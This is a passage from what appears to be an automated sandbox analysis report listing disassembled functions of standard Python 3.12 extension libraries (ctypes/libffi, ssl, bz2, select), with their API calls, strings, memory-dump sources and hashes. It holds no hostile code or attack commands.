Part of subcall function 00007FFE13390220: GetSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,00000000,00007FFE1338D979,?,?,?,?,?,00007FFE1338707C), ref: 00007FFE13390235
Part of subcall function 00007FFE13390220: VirtualAlloc.KERNEL32(?,?,?,?,?,?,?,?,00000000,00007FFE1338D979,?,?,?,?,?,00007FFE1338707C), ref: 00007FFE13390275

ffi_prep_cif.LIBFFI-8 ref: 00007FFE1338DA64
PyErr_Format.PYTHON312 ref: 00007FFE1338DA82
ffi_prep_closure.LIBFFI-8 ref: 00007FFE1338DA9C
PyErr_SetString.PYTHON312 ref: 00007FFE1338DAE1

Strings

ffi_prep_closure failed with %d, xrefs: 00007FFE1338DAA6
ffi_prep_cif failed with %d, xrefs: 00007FFE1338DA6E
invalid result type for callback function, xrefs: 00007FFE1338DAD7

Memory Dump Source

Source File: 00000001.00000002.2090443635.00007FFE13381000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE13380000, based on PE: true

Associated: 00000001.00000002.2090425781.00007FFE13380000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090483624.00007FFE13391000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090517164.00007FFE13398000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe13380000_file.jbxd

Similarity

API ID: Err_$Object_$AllocDeallocFormatInfoMemoryStringSystemTrackVirtualffi_prep_cifffi_prep_closurememset
String ID: ffi_prep_cif failed with %d$ffi_prep_closure failed with %d$invalid result type for callback function
API String ID: 262837356-3338905684
Opcode ID: 76e0695a3df9955cd127bc1d5fad08ae1156a561c08b7fdb1a1f8c63875c08f1
Instruction ID: 4cecb00a71c52076908bec5fa5702d3da5d5bcf32518b72e319a1eeae573df11
Opcode Fuzzy Hash: 76e0695a3df9955cd127bc1d5fad08ae1156a561c08b7fdb1a1f8c63875c08f1
Instruction Fuzzy Hash: 0C513B32A08E42C9E7149F2AD4446BC33A1FB24BA4F1402B5DA6E67B74DF3CE495C348

Function 00007FFE11EC8FDC Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 73COMMON

Download Yara Rule

APIs

_PyArg_UnpackKeywords.PYTHON312 ref: 00007FFE11EC9048
_PyArg_BadArgument.PYTHON312 ref: 00007FFE11EC908A
PyUnicode_AsUTF8AndSize.PYTHON312 ref: 00007FFE11EC9097
PyErr_SetString.PYTHON312 ref: 00007FFE11EC90C9

Part of subcall function 00007FFE11EC90F0: strcmp.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FFE11EC911F
Part of subcall function 00007FFE11EC90F0: SSL_session_reused.LIBSSL-3 ref: 00007FFE11EC912F
Part of subcall function 00007FFE11EC90F0: SSL_get_finished.LIBSSL-3 ref: 00007FFE11EC914F

Strings

embedded null character, xrefs: 00007FFE11EC90BF
str, xrefs: 00007FFE11EC9075
tls-unique, xrefs: 00007FFE11EC8FEA
get_channel_binding, xrefs: 00007FFE11EC907C
argument 'cb_type', xrefs: 00007FFE11EC9083

Memory Dump Source

Source File: 00000001.00000002.2090014963.00007FFE11EC1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFE11EC0000, based on PE: true

Associated: 00000001.00000002.2089995664.00007FFE11EC0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090035870.00007FFE11ECD000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090060351.00007FFE11EE0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090079121.00007FFE11EE1000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090097048.00007FFE11EE7000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090115365.00007FFE11EE9000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe11ec0000_file.jbxd

Similarity

API ID: Arg_$ArgumentErr_KeywordsL_get_finishedL_session_reusedSizeStringUnicode_Unpackstrcmp
String ID: argument 'cb_type'$embedded null character$get_channel_binding$str$tls-unique
API String ID: 2734880604-851902044
Opcode ID: 1204b5ba865d081bee782aef7755327364b3baafc3dc80958555fbd643a661eb
Instruction ID: 6cb07740474c2ef7f75c7687989eb459c2daf5259306d5519e4f3289b3afa696
Opcode Fuzzy Hash: 1204b5ba865d081bee782aef7755327364b3baafc3dc80958555fbd643a661eb
Instruction Fuzzy Hash: 70319122A08E4282EB508B97EC412BA6369BF44BB4F944171DE5D077B4EE3EF855C700

Function 00007FFE1338A924 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 61COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON312 ref: 00007FFE1338A94F
PyErr_Format.PYTHON312 ref: 00007FFE1338A983
PyErr_SetString.PYTHON312 ref: 00007FFE1338A9AF
_Py_Dealloc.PYTHON312 ref: 00007FFE1338A9C3
memcpy.VCRUNTIME140 ref: 00007FFE1338A9D6
_Py_Dealloc.PYTHON312 ref: 00007FFE1338A9F7

Strings

bytes expected instead of %s instance, xrefs: 00007FFE1338A975
can't delete attribute, xrefs: 00007FFE1338A945
byte string too long, xrefs: 00007FFE1338A9A5

Memory Dump Source

Source File: 00000001.00000002.2090443635.00007FFE13381000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE13380000, based on PE: true

Associated: 00000001.00000002.2090425781.00007FFE13380000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090483624.00007FFE13391000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090517164.00007FFE13398000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe13380000_file.jbxd

Similarity

API ID: Err_$DeallocString$Formatmemcpy
String ID: byte string too long$bytes expected instead of %s instance$can't delete attribute
API String ID: 1948958528-1866040848
Opcode ID: 1a1a297829862ba453691cd2523499fe509fd74b59e92f80a47f3cf900c59d84
Instruction ID: a3a9b4b11e668f158a6ae042e8a9176d3244d593eb570742bb2fde787a53f792
Opcode Fuzzy Hash: 1a1a297829862ba453691cd2523499fe509fd74b59e92f80a47f3cf900c59d84
Instruction Fuzzy Hash: 20210D72E08E46C9FB148F1BD44027D63A1FB65BA4F1452B1CA6EA7A75CF2CE4D68304

Function 00007FFE11ECC3D0 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 59COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON312 ref: 00007FFE11ECC3F7
_Py_Dealloc.PYTHON312 ref: 00007FFE11ECC41E
SSL_CTX_callback_ctrl.LIBSSL-3 ref: 00007FFE11ECC438

Strings

not a callable object, xrefs: 00007FFE11ECC464
sni_callback cannot be set on TLS_CLIENT context, xrefs: 00007FFE11ECC3ED

Memory Dump Source

Source File: 00000001.00000002.2090014963.00007FFE11EC1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFE11EC0000, based on PE: true

Associated: 00000001.00000002.2089995664.00007FFE11EC0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090035870.00007FFE11ECD000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090060351.00007FFE11EE0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090079121.00007FFE11EE1000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090097048.00007FFE11EE7000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090115365.00007FFE11EE9000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe11ec0000_file.jbxd

Similarity

API ID: DeallocErr_StringX_callback_ctrl
String ID: not a callable object$sni_callback cannot be set on TLS_CLIENT context
API String ID: 3136334877-1539510184
Opcode ID: 788291f8384f30ac4a6e7bfa2e3a175a74d7f65cd18873bfc6675bda141492af
Instruction ID: 5ea91fd56115e0d7427e831189d1d22c0e353e81bc3e5bfe850d584f6c6bffd3
Opcode Fuzzy Hash: 788291f8384f30ac4a6e7bfa2e3a175a74d7f65cd18873bfc6675bda141492af
Instruction Fuzzy Hash: 3221FB72A08E0282EB548FAADC4477E63A8FF84BA8F905071C91E47674DE3EF565C740

Function 00007FFE1338EDE4 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 53memoryCOMMON

Download Yara Rule

APIs

PyErr_Format.PYTHON312 ref: 00007FFE1338EE2C
PyUnicode_AsWideCharString.PYTHON312 ref: 00007FFE1338EE3E
PyErr_SetString.PYTHON312 ref: 00007FFE1338EE69
PyMem_Free.PYTHON312 ref: 00007FFE1338EE72
SysAllocStringLen.OLEAUT32 ref: 00007FFE1338EE7D
PyMem_Free.PYTHON312 ref: 00007FFE1338EE89
SysFreeString.OLEAUT32 ref: 00007FFE1338EE9B

Strings

String too long for BSTR, xrefs: 00007FFE1338EE5F
unicode string expected instead of %s instance, xrefs: 00007FFE1338EE1E

Memory Dump Source

Source File: 00000001.00000002.2090443635.00007FFE13381000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE13380000, based on PE: true

Associated: 00000001.00000002.2090425781.00007FFE13380000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090483624.00007FFE13391000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090517164.00007FFE13398000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe13380000_file.jbxd

Similarity

API ID: String$Free$Err_Mem_$AllocCharFormatUnicode_Wide
String ID: String too long for BSTR$unicode string expected instead of %s instance
API String ID: 920172908-178309214
Opcode ID: b191f42abef265c6a62c26d86271d6b9d958a948a8f430af6ce1ef36de2ef520
Instruction ID: 9339fe2731df4efe07d93dc6d1fa22ecfcdc5cc1f1f82cc426be2ba5883b7899
Opcode Fuzzy Hash: b191f42abef265c6a62c26d86271d6b9d958a948a8f430af6ce1ef36de2ef520
Instruction Fuzzy Hash: DF210965E09F42C9EA549B13E8401382361BFA8BE0F5451B9DD6F63B74DF2CE4958308

Function 00007FFE11EC25D8 Relevance: 15.8, APIs: 5, Strings: 4, Instructions: 31COMMON

Download Yara Rule

APIs

PyModule_GetState.PYTHON312 ref: 00007FFE11EC25DE
PyUnicode_InternFromString.PYTHON312 ref: 00007FFE11EC25EE
PyUnicode_InternFromString.PYTHON312 ref: 00007FFE11EC2604
PyUnicode_InternFromString.PYTHON312 ref: 00007FFE11EC261D
PyUnicode_InternFromString.PYTHON312 ref: 00007FFE11EC2636

Strings

verify_code, xrefs: 00007FFE11EC262F
reason, xrefs: 00007FFE11EC25FD
library, xrefs: 00007FFE11EC25E4
verify_message, xrefs: 00007FFE11EC2616

Memory Dump Source

Source File: 00000001.00000002.2090014963.00007FFE11EC1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFE11EC0000, based on PE: true

Associated: 00000001.00000002.2089995664.00007FFE11EC0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090035870.00007FFE11ECD000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090060351.00007FFE11EE0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090079121.00007FFE11EE1000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090097048.00007FFE11EE7000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090115365.00007FFE11EE9000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe11ec0000_file.jbxd

Similarity

API ID: FromInternStringUnicode_$Module_State
String ID: library$reason$verify_code$verify_message
API String ID: 1970222510-435783180
Opcode ID: fb758433800d26116e036aeb3a05a2ac270f032bbd4d776c834a61358507b45a
Instruction ID: 2d577c5bcd569a801d8586fc2134a6b9dab30f4d6e6f666e82d7b9ccae3dcef0
Opcode Fuzzy Hash: fb758433800d26116e036aeb3a05a2ac270f032bbd4d776c834a61358507b45a
Instruction Fuzzy Hash: 2D01FB3091AF0391FB549BB6AC543B922A8BF14730F8805B5C84E413B0EF3DB49A8310

Function 00007FFE13211190 Relevance: 15.2, APIs: 10, Instructions: 227COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 00007FFE132111B8
__scrt_acquire_startup_lock.LIBCMT ref: 00007FFE1321120A
_RTC_Initialize.LIBCMT ref: 00007FFE13211238
__scrt_dllmain_after_initialize_c.LIBCMT ref: 00007FFE1321125E
__scrt_release_startup_lock.LIBCMT ref: 00007FFE13211289

Memory Dump Source

Source File: 00000001.00000002.2090152512.00007FFE13211000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FFE13210000, based on PE: true

Associated: 00000001.00000002.2090134264.00007FFE13210000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.2090170248.00007FFE13213000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.2090189636.00007FFE13215000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.2090208895.00007FFE13216000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe13210000_file.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: b57b117b731fe6fadf01a2aa5e6dfd03c7664753ee25818152bc9f2dcd8646e2
Instruction ID: db54886848f06cf16b805bbd390764f48d047038d4304b815a792d79195c3021
Opcode Fuzzy Hash: b57b117b731fe6fadf01a2aa5e6dfd03c7664753ee25818152bc9f2dcd8646e2
Instruction Fuzzy Hash: E7818E21E08E438EFA50BB5796412B967D1AFE5BA0F6481B5DA0C677B7DF3CB805C200

Function 00007FFE11EAA2F0 Relevance: 15.2, APIs: 10, Instructions: 227COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 00007FFE11EAA318
__scrt_acquire_startup_lock.LIBCMT ref: 00007FFE11EAA36A
_RTC_Initialize.LIBCMT ref: 00007FFE11EAA398
__scrt_dllmain_after_initialize_c.LIBCMT ref: 00007FFE11EAA3BE
__scrt_release_startup_lock.LIBCMT ref: 00007FFE11EAA3E9

Memory Dump Source

Source File: 00000001.00000002.2089915841.00007FFE11EA1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FFE11EA0000, based on PE: true

Associated: 00000001.00000002.2089896834.00007FFE11EA0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000001.00000002.2089938398.00007FFE11EAE000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000001.00000002.2089958025.00007FFE11EB2000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000001.00000002.2089976007.00007FFE11EB3000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe11ea0000_file.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: 2eaa67de80a121e031fad50f9f59be50fff6b26d2a98fc10d8919c7430d16f7e
Instruction ID: c47aa94676b67eb66e6fda0a93d6da319b791c66e4d4c0dde49ffd25b444050a
Opcode Fuzzy Hash: 2eaa67de80a121e031fad50f9f59be50fff6b26d2a98fc10d8919c7430d16f7e
Instruction Fuzzy Hash: D8817E21E08F4346FB64ABE7BC4127B66D9AFC5BA0F4840B5E94D433B6DE2CE8458710

Function 00007FFE10253550 Relevance: 15.2, APIs: 10, Instructions: 227COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 00007FFE10253578
__scrt_acquire_startup_lock.LIBCMT ref: 00007FFE102535CA
_RTC_Initialize.LIBCMT ref: 00007FFE102535F8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 00007FFE1025361E
__scrt_release_startup_lock.LIBCMT ref: 00007FFE10253649

Memory Dump Source

Source File: 00000001.00000002.2089791994.00007FFE10241000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FFE10240000, based on PE: true

Associated: 00000001.00000002.2089773823.00007FFE10240000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2089815185.00007FFE10258000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2089815185.00007FFE1025C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2089856736.00007FFE10264000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2089876376.00007FFE10265000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe10240000_file.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: 425fd5ac1271bb133272e3ab21a2143b35eb579dd60372998353d793c77f0ddb
Instruction ID: 9335447ea0c88c13972e0ba6c342be3d52a7006e010b098d7acc7e9391537586
Opcode Fuzzy Hash: 425fd5ac1271bb133272e3ab21a2143b35eb579dd60372998353d793c77f0ddb
Instruction Fuzzy Hash: 7681BDA1E08A4356F6149B2794412F96ED1AFC5BA0F44E0B9EB4D437B3FE7CE805C608

Function 00007FFE11EC29C0 Relevance: 15.2, APIs: 10, Instructions: 227COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 00007FFE11EC29E8
__scrt_acquire_startup_lock.LIBCMT ref: 00007FFE11EC2A3A
_RTC_Initialize.LIBCMT ref: 00007FFE11EC2A68
__scrt_dllmain_after_initialize_c.LIBCMT ref: 00007FFE11EC2A8E
__scrt_release_startup_lock.LIBCMT ref: 00007FFE11EC2AB9

Memory Dump Source

Source File: 00000001.00000002.2090014963.00007FFE11EC1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFE11EC0000, based on PE: true

Associated: 00000001.00000002.2089995664.00007FFE11EC0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090035870.00007FFE11ECD000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090060351.00007FFE11EE0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090079121.00007FFE11EE1000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090097048.00007FFE11EE7000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090115365.00007FFE11EE9000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe11ec0000_file.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: d38f188f355c007600eaac4bff51f8444aac1092ff7ab8041817ed6d9cf5dfe0
Instruction ID: 10c5ad1556cd16ab9ad1a522a9dd18566c676fc27ad199bf789dc6115bd3295a
Opcode Fuzzy Hash: d38f188f355c007600eaac4bff51f8444aac1092ff7ab8041817ed6d9cf5dfe0
Instruction Fuzzy Hash: 6F81AE21E0CE0386FB64ABE79C417BB6698AF857A0F9440B5E90D573B6DE3DF8458700

Function 00007FFE11EA3270 Relevance: 15.2, APIs: 10, Instructions: 150COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140 ref: 00007FFE11EA32EE
PyBytes_FromStringAndSize.PYTHON312 ref: 00007FFE11EA3376
PyMem_Malloc.PYTHON312 ref: 00007FFE11EA33BE
memcpy.VCRUNTIME140 ref: 00007FFE11EA33EC
PyMem_Realloc.PYTHON312 ref: 00007FFE11EA3409
_Py_Dealloc.PYTHON312 ref: 00007FFE11EAB81B

Memory Dump Source

Source File: 00000001.00000002.2089915841.00007FFE11EA1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FFE11EA0000, based on PE: true

Associated: 00000001.00000002.2089896834.00007FFE11EA0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000001.00000002.2089938398.00007FFE11EAE000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000001.00000002.2089958025.00007FFE11EB2000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000001.00000002.2089976007.00007FFE11EB3000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe11ea0000_file.jbxd

Similarity

API ID: Mem_memcpy$Bytes_DeallocFromMallocReallocSizeString
String ID:
API String ID: 2377850682-0
Opcode ID: 41b2a13bf521d5b7757f118eec8ced83366289b083df3c13bbfcfecfc1a8147d
Instruction ID: d42670fe27228c83da2078ba5b5ea9429ee7d73b0436538c33b17e40dbeda686
Opcode Fuzzy Hash: 41b2a13bf521d5b7757f118eec8ced83366289b083df3c13bbfcfecfc1a8147d
Instruction Fuzzy Hash: 61514832A0DF8281EB148FA3B85427A67A8FB44FA4F1884B5DE9D57764DF7CE0558300

Function 00007FFE1338C59C Relevance: 14.2, APIs: 6, Strings: 2, Instructions: 179COMMON

Download Yara Rule

APIs

_Py_Dealloc.PYTHON312 ref: 00007FFE1338C689
PyObject_IsInstance.PYTHON312 ref: 00007FFE1338C6A7
PyUnicode_AsUTF8.PYTHON312 ref: 00007FFE1338C78E

Part of subcall function 00007FFE13383ED0: _PyObject_GC_New.PYTHON312(?,?,?,00007FFE133820A5), ref: 00007FFE13383EDD
Part of subcall function 00007FFE13383ED0: PyObject_GC_Track.PYTHON312(?,?,?,00007FFE133820A5), ref: 00007FFE13383EFF

_PyObject_LookupAttr.PYTHON312 ref: 00007FFE1338C7ED
_Py_Dealloc.PYTHON312 ref: 00007FFE1338C820
PyErr_SetString.PYTHON312 ref: 00007FFE1338C83F

Strings

wrong type, xrefs: 00007FFE1338C835
P, xrefs: 00007FFE1338C6F5

Memory Dump Source

Source File: 00000001.00000002.2090443635.00007FFE13381000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE13380000, based on PE: true

Associated: 00000001.00000002.2090425781.00007FFE13380000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090483624.00007FFE13391000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090517164.00007FFE13398000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe13380000_file.jbxd

Similarity

API ID: Object_$Dealloc$AttrErr_InstanceLookupStringTrackUnicode_
String ID: P$wrong type
API String ID: 3281777585-281217272
Opcode ID: 7c92e0859c67e50350ec04bc55a78ae26b9676473bf847ef4490f02e0af552d9
Instruction ID: d32cd91370c23afbfa2008e9cc7f89326dee75a2003f3f9bcb9012d7415209a5
Opcode Fuzzy Hash: 7c92e0859c67e50350ec04bc55a78ae26b9676473bf847ef4490f02e0af552d9
Instruction Fuzzy Hash: F3817162E09F4289FF149B27D85023D6791AF64BA0F0856F4D96E67BB4DF2CE490C348

Function 00007FFE13381BDC Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 137COMMON

Download Yara Rule

APIs

PyLong_AsVoidPtr.PYTHON312 ref: 00007FFE13381C6D

Part of subcall function 00007FFE13381CA0: _PyArg_ParseTuple_SizeT.PYTHON312 ref: 00007FFE13381CE1
Part of subcall function 00007FFE13381CA0: PySequence_Tuple.PYTHON312 ref: 00007FFE13381D04
Part of subcall function 00007FFE13381CA0: _PyArg_ParseTuple_SizeT.PYTHON312 ref: 00007FFE13381D35
Part of subcall function 00007FFE13381CA0: PySys_Audit.PYTHON312 ref: 00007FFE13381D6B
Part of subcall function 00007FFE13381CA0: PyObject_GetAttrString.PYTHON312 ref: 00007FFE13381D84
Part of subcall function 00007FFE13381CA0: PyLong_AsVoidPtr.PYTHON312 ref: 00007FFE13381DAD
Part of subcall function 00007FFE13381CA0: PyErr_Occurred.PYTHON312 ref: 00007FFE13381DC5

_PyArg_ParseTuple_SizeT.PYTHON312 ref: 00007FFE1338701A
PyCallable_Check.PYTHON312 ref: 00007FFE1338702D
PyErr_SetString.PYTHON312 ref: 00007FFE1338712E

Strings

argument must be callable or integer function address, xrefs: 00007FFE13387037
cannot construct instance of this class: no argtypes, xrefs: 00007FFE1338711D

Memory Dump Source

Source File: 00000001.00000002.2090443635.00007FFE13381000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE13380000, based on PE: true

Associated: 00000001.00000002.2090425781.00007FFE13380000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090483624.00007FFE13391000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090517164.00007FFE13398000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe13380000_file.jbxd

Similarity

API ID: Arg_ParseSizeTuple_$Err_Long_StringVoid$AttrAuditCallable_CheckObject_OccurredSequence_Sys_Tuple
String ID: argument must be callable or integer function address$cannot construct instance of this class: no argtypes
API String ID: 2570622991-2742191083
Opcode ID: ca1620ed921187ccb8205fb0d276b675bd0b7963694bf6ced73c238bc4588973
Instruction ID: 1f75deceb0b359900f173adcfea37dcb41c7477df338791452fe390f6f905c4d
Opcode Fuzzy Hash: ca1620ed921187ccb8205fb0d276b675bd0b7963694bf6ced73c238bc4588973
Instruction Fuzzy Hash: 96519271E0CF0289EA558B27944127D23B1AF65FE4F0442F0EA2E67BB1DE2CE491C308

Function 00007FFE11EA1ED4 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 119COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FFE11EAB22A

Strings

VUUU, xrefs: 00007FFE11EA1F91
too repetitive; using fallback sorting algorithm, xrefs: 00007FFE11EAB233
%d work, %d block, ratio %5.2f, xrefs: 00007FFE11EAB210

Memory Dump Source

Source File: 00000001.00000002.2089915841.00007FFE11EA1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FFE11EA0000, based on PE: true

Associated: 00000001.00000002.2089896834.00007FFE11EA0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000001.00000002.2089938398.00007FFE11EAE000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000001.00000002.2089958025.00007FFE11EB2000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000001.00000002.2089976007.00007FFE11EB3000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe11ea0000_file.jbxd

Similarity

API ID: __acrt_iob_func
String ID: %d work, %d block, ratio %5.2f$ too repetitive; using fallback sorting algorithm$VUUU
API String ID: 711238415-2988393112
Opcode ID: c9a2b1f2fff8b693f84e6fade5b350d543d714228db9c5a9fe61d7526b9c9b01
Instruction ID: ccad0914d46cfb3a9d1628a8648ede28635ed938d0ce199f051bd01a3efa077d
Opcode Fuzzy Hash: c9a2b1f2fff8b693f84e6fade5b350d543d714228db9c5a9fe61d7526b9c9b01
Instruction Fuzzy Hash: FF41D336A08A4287E7149F66E84517A73A9FF98BB4F101276DE0E537B5DF3CE4828700

Function 00007FFE1321266C Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 115COMMON

Download Yara Rule

APIs

PySequence_Fast.PYTHON312(00007FFDFB54D250,?,?,00007FFE132122E5), ref: 00007FFE13212694
PyObject_AsFileDescriptor.PYTHON312(?,?,00007FFE132122E5), ref: 00007FFE13212709
PyErr_SetString.PYTHON312(?,?,00007FFE132122E5), ref: 00007FFE1321278F
_Py_Dealloc.PYTHON312(?,?,00007FFE132122E5), ref: 00007FFE132127A3
_Py_Dealloc.PYTHON312(?,?,00007FFE132122E5), ref: 00007FFE132127B7

Strings

too many file descriptors in select(), xrefs: 00007FFE13212785
arguments 1-3 must be sequences, xrefs: 00007FFE1321268D

Memory Dump Source

Source File: 00000001.00000002.2090152512.00007FFE13211000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FFE13210000, based on PE: true

